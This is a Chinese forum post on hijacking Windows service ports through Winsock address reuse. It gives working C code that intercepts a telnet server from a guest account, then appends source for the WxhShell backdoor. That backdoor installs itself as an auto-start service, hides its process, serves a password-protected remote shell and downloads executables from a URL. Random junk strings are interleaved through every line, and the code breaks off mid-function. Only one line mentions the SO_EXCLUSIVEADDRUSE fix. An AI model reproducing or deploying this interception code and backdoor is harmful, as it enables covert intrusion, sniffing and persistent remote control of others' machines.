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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2@3.xG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V(2j*2R!  
8S1P&+iKs  
  saddr.sin_family = AF_INET; RHx+HBZ  
~i }+P71  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }xf='lE  
nRXSW&V"m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kUg+I_j6*  
UGmuX:@y76  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :qAc= IC%  
=l8!VJa  
  这意味着什么?意味着可以进行如下的攻击: _iGU|$a  
iL0jpa<}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ! nCjA\$  
7O+Ij9+{n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k~1j/VHv  
[EmOA.6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1J-Qh<Q   
C '-zh\a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OHHNWg_5  
," C[Qg(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 y^ X\^Kq  
XJmFJafQD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &gA6+b'  
29Z!p2{hk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T,WKo B  
MjQ[^%lfL  
  #include QOT)x4!)  
  #include Ns.3s7&  
  #include (}{_]X|e  
  #include    :vYt Mp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >,>;)B@J  
  int main() aJ6#=G61l  
  { s-C!uq  
  WORD wVersionRequested; cXk6e.Uz  
  DWORD ret; ha|@ X p  
  WSADATA wsaData; .Na&I)udX.  
  BOOL val; S9HBr  
  SOCKADDR_IN saddr; -}Cc"qm  
  SOCKADDR_IN scaddr; ).NcLJw_  
  int err; +z:CZ(fb  
  SOCKET s; w.J%qWJq  
  SOCKET sc; !Tn0M;  
  int caddsize; qnq%mwDeD  
  HANDLE mt; mW~i c  
  DWORD tid;   y@o9~?M  
  wVersionRequested = MAKEWORD( 2, 2 ); QFW0KD`5  
  err = WSAStartup( wVersionRequested, &wsaData ); w0Fwd  
  if ( err != 0 ) { Yzj%{fkh  
  printf("error!WSAStartup failed!\n"); x?,~TC4  
  return -1; G&x'=dJ  
  } mb0n}I_AC  
  saddr.sin_family = AF_INET; Ky[bX  
   kqVg2#<@M  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8^/+wa+G  
cT-K@dg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3yTQ  
  saddr.sin_port = htons(23); 45x,|h[F{5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SkiJ pMN  
  { 7fTxGm  
  printf("error!socket failed!\n"); 1@A7h$1P  
  return -1; -|m$YrzG  
  } #_.g2 Y  
  val = TRUE; koOyZ>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jrm0@K+<IA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H<`^w)?  
  { 2X|CuL{]  
  printf("error!setsockopt failed!\n"); m_Mwg  
  return -1; Z0e-W:&;kF  
  } O6yP qG*j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $d'CBsu|<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {]&R8?%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 JAc@S20v\  
.Qd}.EG  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1^aykrnQ>  
  { ;"1/#CY773  
  ret=GetLastError(); &&X$d!V  
  printf("error!bind failed!\n");  bt;lq!g  
  return -1; fd4;mc1T  
  } /@&(P#h  
  listen(s,2); `$J'UXtGc  
  while(1) /^w"' '  
  { a*Rz<08  
  caddsize = sizeof(scaddr); Ns'FH(:  
  //接受连接请求 l <:`~\#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q>kiVvc  
  if(sc!=INVALID_SOCKET) saatU;V  
  { K<c2PFo)Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y:Z$LmPc<  
  if(mt==NULL) z{%oJ_  
  { y k?SD1hj  
  printf("Thread Creat Failed!\n"); j7f5|^/x3  
  break; Ll,I-BQ 9  
  } aT&t_^[]   
  } GF&_~48GD  
  CloseHandle(mt); XmP;L(wa   
  } avlqDi1l  
  closesocket(s); F y b[{"  
  WSACleanup(); xXOR IlD  
  return 0; i wUv`>l&  
  }   PmHd9^C  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]de\i=?|  
  { FIH@2zA  
  SOCKET ss = (SOCKET)lpParam; WPIZi[hBs  
  SOCKET sc; &9RH}zv6  
  unsigned char buf[4096]; A*hZv|$0  
  SOCKADDR_IN saddr; T-^0:@5o9  
  long num; sr\cVv")  
  DWORD val; UanEzx%  
  DWORD ret; $Jcq7E~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yKYl@&H/%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @9aGz6k+  
  saddr.sin_family = AF_INET; h{I`7X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gt'*B5F(  
  saddr.sin_port = htons(23); 47KNT7C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8+ov(B;(  
  { 22z1g(; @  
  printf("error!socket failed!\n"); YNI;h%w  
  return -1; yx2z%E  
  } YV-j/U{&  
  val = 100; 1DUb [W8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q]K'p,'  
  { "rsSW 3_  
  ret = GetLastError(); n!ZMTcK8  
  return -1; mB~~_]M N  
  } ^ESUMXb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `g--QR  
  { \6{LR&  
  ret = GetLastError(); M_Bu,<q^  
  return -1; Y17hOKc`  
  } 8&%Cy'TIz4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) JRXRi*@  
  { Apmw6cc  
  printf("error!socket connect failed!\n"); K U $`!h  
  closesocket(sc); /HZv  
  closesocket(ss); RpYcD  
  return -1; T<P0T<  
  } ]w!0u2K<Q\  
  while(1) wqP2Gw7jh6  
  { > VP5vkv=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b:1 L@8s;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /[%w*v*'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 okstY4f'  
  num = recv(ss,buf,4096,0); p-xd k|'[  
  if(num>0) )&:L'N  
  send(sc,buf,num,0); `"c'z;  
  else if(num==0) `;$h'eI9  
  break; ->h5T%sn  
  num = recv(sc,buf,4096,0); h,t:]  
  if(num>0) P3!Atnv2  
  send(ss,buf,num,0); z6I%wh  
  else if(num==0) d*2u}1Jo8  
  break; 0\Y1}C  
  } DHv2&zH  
  closesocket(ss); W qE '(  
  closesocket(sc); !>3LGu,  
  return 0 ; ;}K62LSR  
  } -%,"iaO  
IXWQ)  
|4fF T `  
========================================================== 5]d{6Nc3P  
)S*1C@  
下边附上一个代码,,WXhSHELL <: :VCA%  
$Asr`Q1i   
========================================================== g5Hr7K m  
/OG zt  
#include "stdafx.h" R&*@@F-dx  
{n&Uf{  
#include <stdio.h> k3>YBf`fC  
#include <string.h> W:vr@e6  
#include <windows.h> FY4T(4#  
#include <winsock2.h> F?BS717qS%  
#include <winsvc.h> <( EyXV  
#include <urlmon.h> wt?o 7R2  
D:9 2\l  
#pragma comment (lib, "Ws2_32.lib") Q+'nw9:;T  
#pragma comment (lib, "urlmon.lib") UV@0gdy[  
#K4*6LI  
#define MAX_USER   100 // 最大客户端连接数 [Gtb+'8  
#define BUF_SOCK   200 // sock buffer O,'#C\   
#define KEY_BUFF   255 // 输入 buffer E7`qmn  
64umul  
#define REBOOT     0   // 重启 +rc SL8C  
#define SHUTDOWN   1   // 关机 Q|c|2byb  
i%F<AY\O)  
#define DEF_PORT   5000 // 监听端口 Z!_n_F k  
n Q-mmY>#  
#define REG_LEN     16   // 注册表键长度 R,,Qt TGB  
#define SVC_LEN     80   // NT服务名长度 (`c G  
DpvrMI~I_  
// 从dll定义API <#*.}w~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3{ "O,h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .3X Y&6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A gWPa.'3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +qy6d7^  
U\vY/6;JI  
// wxhshell配置信息 ` >U?v  
struct WSCFG { cG_Vc[  
  int ws_port;         // 监听端口 q.W>4 k  
  char ws_passstr[REG_LEN]; // 口令 p$XKlg&  
  int ws_autoins;       // 安装标记, 1=yes 0=no a <wL#Id  
  char ws_regname[REG_LEN]; // 注册表键名 i\Wdo/c-H  
  char ws_svcname[REG_LEN]; // 服务名 %\6Q .V#s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *yez:qnx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9]7u _  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h/m6)m.D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +TSSi em  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v* ~3Z1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 suVmg-d  
FFvCi@oT  
}; *x(Jq?5O7X  
>2lwWXA  
// default Wxhshell configuration zK;XF N#U^  
struct WSCFG wscfg={DEF_PORT, *eb-rhCVn  
    "xuhuanlingzhe", eV2mMSY  
    1, =w%Oa<  
    "Wxhshell", ej^3Y Nh&  
    "Wxhshell", Z a(|(M H  
            "WxhShell Service", z9 ($.  
    "Wrsky Windows CmdShell Service", uM S*(L_  
    "Please Input Your Password: ", sn{tra  
  1, Mu&x_&|  
  "http://www.wrsky.com/wxhshell.exe", fk{0d  
  "Wxhshell.exe" MKg,!TELe  
    }; t'(1I|7  
RUo9eQIPD  
// 消息定义模块 -LWK*q[J;*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +B"0{>n}F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;rR/5d1!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %!|O.xxRR  
char *msg_ws_ext="\n\rExit."; E^CiOTN  
char *msg_ws_end="\n\rQuit."; ue{xnjw>U  
char *msg_ws_boot="\n\rReboot..."; ,={t8lN  
char *msg_ws_poff="\n\rShutdown..."; {' 5qv@3  
char *msg_ws_down="\n\rSave to "; wT_h!W  
$kPHxD!"  
char *msg_ws_err="\n\rErr!"; ^3~e/PKM  
char *msg_ws_ok="\n\rOK!"; ^?GmrHC)  
]l;*$2w)  
char ExeFile[MAX_PATH]; 1[PMDS_X  
int nUser = 0; a`c:`v2o  
HANDLE handles[MAX_USER]; z&}-8JykH  
int OsIsNt; go'j/4Tp  
/'wF2UR  
SERVICE_STATUS       serviceStatus; :dnJY%/q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T@ YGB]*Y  
h{'t5&yY  
// 函数声明 }NCL>l;q  
int Install(void); /aqEJGG>  
int Uninstall(void); +%0z`E\?M#  
int DownloadFile(char *sURL, SOCKET wsh); `I;F$`\  
int Boot(int flag); K5 KyG  
void HideProc(void); ,6"l(]0  
int GetOsVer(void); K$[$4 dX]  
int Wxhshell(SOCKET wsl); U[\Vj_?(I  
void TalkWithClient(void *cs); Q[u6|jRt  
int CmdShell(SOCKET sock); >n*\bXf  
int StartFromService(void); wCKj7y[  
int StartWxhshell(LPSTR lpCmdLine); {/8Q)2*>0  
Da1aI]{I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I'!/[\_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i$^ZTb^  
k%81f'H  
// 数据结构和表定义 '7 )"  
SERVICE_TABLE_ENTRY DispatchTable[] = (6gK4__}]  
{ )"<8K}%!  
{wscfg.ws_svcname, NTServiceMain}, :d,^I@]  
{NULL, NULL} =Lp7{09u  
}; 3$/ 4wH^  
q3w1GD  
// 自我安装 q1{H~VSn"  
int Install(void) nk=$B (h  
{ \2e0|)aF6  
  char svExeFile[MAX_PATH]; el PE%'  
  HKEY key; S: :>N.y  
  strcpy(svExeFile,ExeFile); $)Bg JDr  
\_BkY%a  
// 如果是win9x系统,修改注册表设为自启动 ; H0{CkH  
if(!OsIsNt) { ko\):DN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5Av=3[kh"%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F"jt&9jg  
  RegCloseKey(key); gAbD7SE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A%bCMP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |oFAGP1  
  RegCloseKey(key); 2N [=  
  return 0; sM2MLh'D  
    } b/("Y.r=  
  } 6W2hr2Zy9  
} $'wq1u  
else { _lxco=qd=%  
j?i#L}.I  
// 如果是NT以上系统,安装为系统服务 S?0$?w?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oF&l-DHp  
if (schSCManager!=0) ,. EBOUW^  
{ WcUJhi^\C  
  SC_HANDLE schService = CreateService !36]ud&  
  ( r6.d s^  
  schSCManager, ~/#1G.H  
  wscfg.ws_svcname, vGd1w%J-  
  wscfg.ws_svcdisp, &, a3@i  
  SERVICE_ALL_ACCESS, Fke//- R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7<\C ?`q"  
  SERVICE_AUTO_START, b1?xeG#  
  SERVICE_ERROR_NORMAL, Ri7((x]H"  
  svExeFile, E,[xUz"  
  NULL, Lxl_"k G  
  NULL, I:j3sy  
  NULL, ~mz%E  
  NULL, 6;b9swmh  
  NULL XP?rOOn  
  ); ssQ BSbx  
  if (schService!=0) 2\<.0  
  { f>$``.O  
  CloseServiceHandle(schService); #s5N[uK^m  
  CloseServiceHandle(schSCManager); rRFAD{5)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); olux6RP[B  
  strcat(svExeFile,wscfg.ws_svcname); }?8uH/+ZA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fj p.T;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JCniN";r[  
  RegCloseKey(key); ~aK?cP  
  return 0; qt e>r  
    } q OhO qV  
  } {p<Zbm.  
  CloseServiceHandle(schSCManager); ( )T[$.(  
} G=9d&N  
} oMH.u^b]fT  
^%T7.1'x  
return 1; c,\i"=!$  
} ^eq</5q D  
3,X/,'  
// 自我卸载 i'/m4 !>h  
int Uninstall(void) 2h=%K/hhY  
{ HfNDD| Zz  
  HKEY key; `TLzVB-j3  
W6c]-pc  
if(!OsIsNt) { +K",^6%1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { / +K?  
  RegDeleteValue(key,wscfg.ws_regname); WN]<q`.  
  RegCloseKey(key); ' I}: !Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rqip kx  
  RegDeleteValue(key,wscfg.ws_regname); tfO#vw,@  
  RegCloseKey(key); YPDf Y<?v  
  return 0; v6(E3)J7  
  } V >-b`e  
} ~l[r a  
} uq3{h B#  
else { F"+o@9]  
iI1n2>V3y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /u<nLj1  
if (schSCManager!=0) {}~:&.D  
{ Kb ;dKQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /7c~nBU  
  if (schService!=0) RBKOM$7  
  { :*514N  
  if(DeleteService(schService)!=0) { xb2?lL]  
  CloseServiceHandle(schService); tl yJmdl  
  CloseServiceHandle(schSCManager); T.e.{yO  
  return 0; [IZM.r`Z  
  } x[_=#8~.1x  
  CloseServiceHandle(schService); |s+0~$O;  
  } s54nF\3V  
  CloseServiceHandle(schSCManager); Y,S\2or$  
} ZfAzc6J?\  
} 6]cryf&b  
U%<rn(xWXD  
return 1; }j5 a[L  
} alMYk  
 l~s7Ae  
// 从指定url下载文件 lJ;J~>  
int DownloadFile(char *sURL, SOCKET wsh) EV M7Q>  
{ NcS.49  
  HRESULT hr; ;Y9=!.Ak0y  
char seps[]= "/"; zk_Eb?mhwV  
char *token; :Sg&0Wj+#j  
char *file; .>g1 $rj  
char myURL[MAX_PATH]; , $*IzL~  
char myFILE[MAX_PATH]; )EM7,xMz  
+!t}  
strcpy(myURL,sURL); 5/><$06rq  
  token=strtok(myURL,seps); ^?"\?M1  
  while(token!=NULL) b p<^R  
  { l(W[_ D  
    file=token; 4Aes#{R3v  
  token=strtok(NULL,seps); ,Dmc2D  
  } -[7O7'  
#U7_a{cn"M  
GetCurrentDirectory(MAX_PATH,myFILE); )P&9A)8  
strcat(myFILE, "\\"); `1` f*d v  
strcat(myFILE, file); &Nl2s ey  
  send(wsh,myFILE,strlen(myFILE),0); AbwbAm+  
send(wsh,"...",3,0); FVsj;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 83~ i:+;  
  if(hr==S_OK) pcS+o  
return 0; @ T ;L$x  
else fG LG$b  
return 1; @~ Dh'w2q  
c~,23wP1  
} eitu!=u  
b8KsR=]4I  
// 系统电源模块 c{#yx_)V&  
int Boot(int flag) \0;(VLN'U  
{ *O$CaAr\s  
  HANDLE hToken; f|EUqu%E  
  TOKEN_PRIVILEGES tkp; 7v}x?I  
;^u*hZN[Up  
  if(OsIsNt) { q z&+=d@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u+9<&)X0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bUy,5gk-  
    tkp.PrivilegeCount = 1; K/_9f'^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v5ur&egVs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [] W;t\h  
if(flag==REBOOT) { * A|-KKo\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W`rNBfG>  
  return 0; #G]!%  
} FyL_xu\e  
else { yoe}$f4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) imL_lw^?  
  return 0; b;mSQ4+  
} \u OdALZ  
  } `s#Hq\C  
  else { m`? MV\^  
if(flag==REBOOT) { ~i;fDQ&!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zdun,`6  
  return 0; #Doq P:  
} SjEAuRDvUz  
else { |+IZS/W"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J'&# mDU  
  return 0; E4.SF|=x  
} Bvjl-$m!v  
} F51.N{'  
&p UZDjo?  
return 1; q6P wZ_  
} hIv@i\`  
( n{wg(R  
// win9x进程隐藏模块 pI[ZBoR~  
void HideProc(void) \kam cA  
{ Fig&&b a  
`D5HC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I3S9Us-\  
  if ( hKernel != NULL ) ?NNn:tiD  
  { NVV}6TUV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '(&%O8Yi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JWP*>\P  
    FreeLibrary(hKernel); V:NI4dv/R  
  } -C7]qbT }  
zW |=2oX2  
return; I,6/21kO  
} p4u5mM  
"I- w  
// 获取操作系统版本 #!J(4tXny  
int GetOsVer(void) ^cvl:HOog  
{ Br>Fpe$q4  
  OSVERSIONINFO winfo; u~zs* qp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  @gGRm  
  GetVersionEx(&winfo); 7\ SUr9[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BZK`O/  
  return 1; 4pz|1Hw7  
  else }A$WO {2  
  return 0; s Wjy6;  
} ({}(qm  
ewsKH\#  
// 客户端句柄模块 ]LPQYL  
int Wxhshell(SOCKET wsl) f2)XP$:  
{ he3SR @\T  
  SOCKET wsh; rd|uz4d  
  struct sockaddr_in client; Z^KA  
  DWORD myID; bBxw#_3A?E  
G`=r^$.3WB  
  while(nUser<MAX_USER) 9<CG s3\  
{ g\A y`.s  
  int nSize=sizeof(client); YMpf+kN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \6|/RFT  
  if(wsh==INVALID_SOCKET) return 1; H%f:K2  
IputF<p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v]:=K-1n  
if(handles[nUser]==0) }_.:+H!@  
  closesocket(wsh); mZk0@C&:6  
else s0UFym 8  
  nUser++; qd@&59zSh  
  } )4Q?aMm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o;F" {RZ  
a5'#j35  
  return 0; |Yi)"-  
} #:fQ.WWO  
n7LfQWc  
// 关闭 socket DR9: _  
void CloseIt(SOCKET wsh) dpZ;l 9  
{ 9$K;Raz%  
closesocket(wsh); ?0*8R K  
nUser--; 9|' B9C  
ExitThread(0); }71LLzG`/  
} /Poet%XvRx  
(3vHY`9  
// 客户端请求句柄 &7?R+ZGo  
void TalkWithClient(void *cs) DsDzkwJE  
{ y k161\  
)(Iy<Y?#  
  SOCKET wsh=(SOCKET)cs; 1pp -=$k  
  char pwd[SVC_LEN]; WUdKLx %F  
  char cmd[KEY_BUFF]; e= P  
char chr[1]; JYqSL)Ta*t  
int i,j; G*[P <<je_  
cRvvzX  
  while (nUser < MAX_USER) { 2R-A@UE2  
$.6K!x{(  
if(wscfg.ws_passstr) { ihL/n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9W*+SlH@ !  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Q|k7*,B  
  //ZeroMemory(pwd,KEY_BUFF); $*[{J+t_  
      i=0; dBC bL.!  
  while(i<SVC_LEN) { |BMV.Zi  
ZBD;a;wx  
  // 设置超时 R_P}~l  
  fd_set FdRead; &Jc_Fc(M  
  struct timeval TimeOut; -XoPia2  
  FD_ZERO(&FdRead); pI`?(5iK6|  
  FD_SET(wsh,&FdRead); ,M !tm7  
  TimeOut.tv_sec=8; <M?:  
  TimeOut.tv_usec=0; |Q~cX!;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6bc3 37b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "pxzntY|  
&YP#M |  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); USJ- e  
  pwd=chr[0]; D bX{#4lx  
  if(chr[0]==0xd || chr[0]==0xa) { {aKqXL[UP  
  pwd=0; F#|O@.tDG  
  break; P'@<:S|  
  }  84zTCX  
  i++; Y+%sBqo @  
    } < O*6 T%;  
;d.K_P  
  // 如果是非法用户,关闭 socket Q }k.JS~#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8Chj w wB  
} !4@G3Ae22  
H14Ic.&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YO)$M-]>%J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AT Zhr. H  
AZ|yX  
while(1) { ,"-Rf<q/  
RNVbcd  
  ZeroMemory(cmd,KEY_BUFF); ` D7C?M#j]  
w^k;D,h  
      // 自动支持客户端 telnet标准   }]1BO  
  j=0; 8cx=#Me  
  while(j<KEY_BUFF) { <hnCUg1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l2%bF8]z  
  cmd[j]=chr[0]; ]-o"}"3Ef  
  if(chr[0]==0xa || chr[0]==0xd) { eg+!*>GaX  
  cmd[j]=0; "ceed)(:  
  break; Yx'res4e  
  } ?C0l~:j7D  
  j++; dGfVZDsr]  
    } gxPx&Z6jF  
O^>jdl!TZ  
  // 下载文件 _:n b&B  
  if(strstr(cmd,"http://")) { GnXNCeE`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ivgpS5 M`Y  
  if(DownloadFile(cmd,wsh)) ajl 2I/D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ChryJRuwv5  
  else K[\'"HyQ,X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }G46g#_6d>  
  } W) j|rz.  
  else { .Jb$l$5'w  
b<I9 MR  
    switch(cmd[0]) { UnDgu4#R`A  
  DQ.v+C,  
  // 帮助 /(I*,.d  
  case '?': { 8qi+IGRg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eg"Gjp- 4=  
    break; _zxLwU1(x  
  } ulHn#)  
  // 安装 8 S`9dSc  
  case 'i': { .N4  
    if(Install()) ER2GjZa\z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p_*M:P1Ma4  
    else ;Lw{XqT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M_ 0zC1  
    break; 1xNVdI   
    } 0rk]/--FGJ  
  // 卸载 jcCoan  
  case 'r': { \hO2p6  
    if(Uninstall()) ?zJpD8e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /5AW?2)  
    else #0I{.Wy]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |4)  
    break; >4m'tZ8  
    } -37a.  
  // 显示 wxhshell 所在路径 a^qNJ?R !  
  case 'p': { Y-piL8Xc  
    char svExeFile[MAX_PATH]; O u>u %  
    strcpy(svExeFile,"\n\r"); q+SD6qM  
      strcat(svExeFile,ExeFile); 7x]4`#u  
        send(wsh,svExeFile,strlen(svExeFile),0); Sydh2d  
    break; ,7Y-k'7Kop  
    } a~h:qpg c  
  // 重启 bo"%0 ?3n  
  case 'b': { 5\mTr)\R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1:C:?ZC#c  
    if(Boot(REBOOT)) n6WY&1ZE~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3OyS8`  
    else { LL^q1)o  
    closesocket(wsh); P=N$qz$U  
    ExitThread(0); $FH18  
    } r90+,aLM#?  
    break; i[C~5}%  
    } 'PZ|:9FX!  
  // 关机  9DQ)cy  
  case 'd': { TjWE_Bq]g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DVZdClAL  
